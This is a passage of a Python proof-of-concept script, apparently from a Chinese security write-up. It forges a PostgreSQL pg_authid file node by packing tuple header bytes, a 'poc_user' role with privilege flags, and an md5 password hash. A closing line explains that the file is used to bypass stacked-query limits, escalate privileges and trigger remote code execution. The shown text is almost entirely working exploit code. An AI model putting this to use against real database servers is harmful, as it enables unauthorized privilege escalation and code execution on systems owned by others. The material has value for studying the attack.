page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 10)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+6] = struct.pack('HH', 0, 9) + b'\x00'
tuple_offset += 6
# pg_authid 核心字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 16386)
tuple_offset += 4
rolname = b'poc_user' + b'\x00' * (64 - len(b'poc_user'))
page_data[tuple_offset:tuple_offset+64] = rolname
tuple_offset += 64
page_data[tuple_offset] = 0 # rolsuper
tuple_offset += 1
page_data[tuple_offset] = 1 # rolinherit
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreaterole
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreatedb
tuple_offset += 1
page_data[tuple_offset] = 1 # rolcanlogin
tuple_offset += 1
page_data[tuple_offset] = 0 # rolreplication
tuple_offset += 1
page_data[tuple_offset] = 0 # rolbypassrls
tuple_offset += 1
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', -1) # rolconnlimit
tuple_offset += 4
# rolpassword (text) - md58616944eb80b569f7be225c2442582cd
password = b'md58616944eb80b569f7be225c2442582cd'
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', len(password) + 4)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+len(password)] = password
tuple_offset += len(password)
# rolvaliduntil
page_data[tuple_offset:tuple_offset+8] = struct.pack('d', 0.0)
tuple_offset += 8
# 写入文件
with open('pg_authid_filenode', 'wb') as f:
f.write(page_data)
print("已生成 pg_authid_filenode 文件")
if __name__ == '__main__':
create_pg_authid_filenode()通过离线解析修改pg_authid文件节点，绕过堆叠查询限制，完成权限提升并触发RCE。
由 AI 根据全文自动生成，仅供参考，以原文为准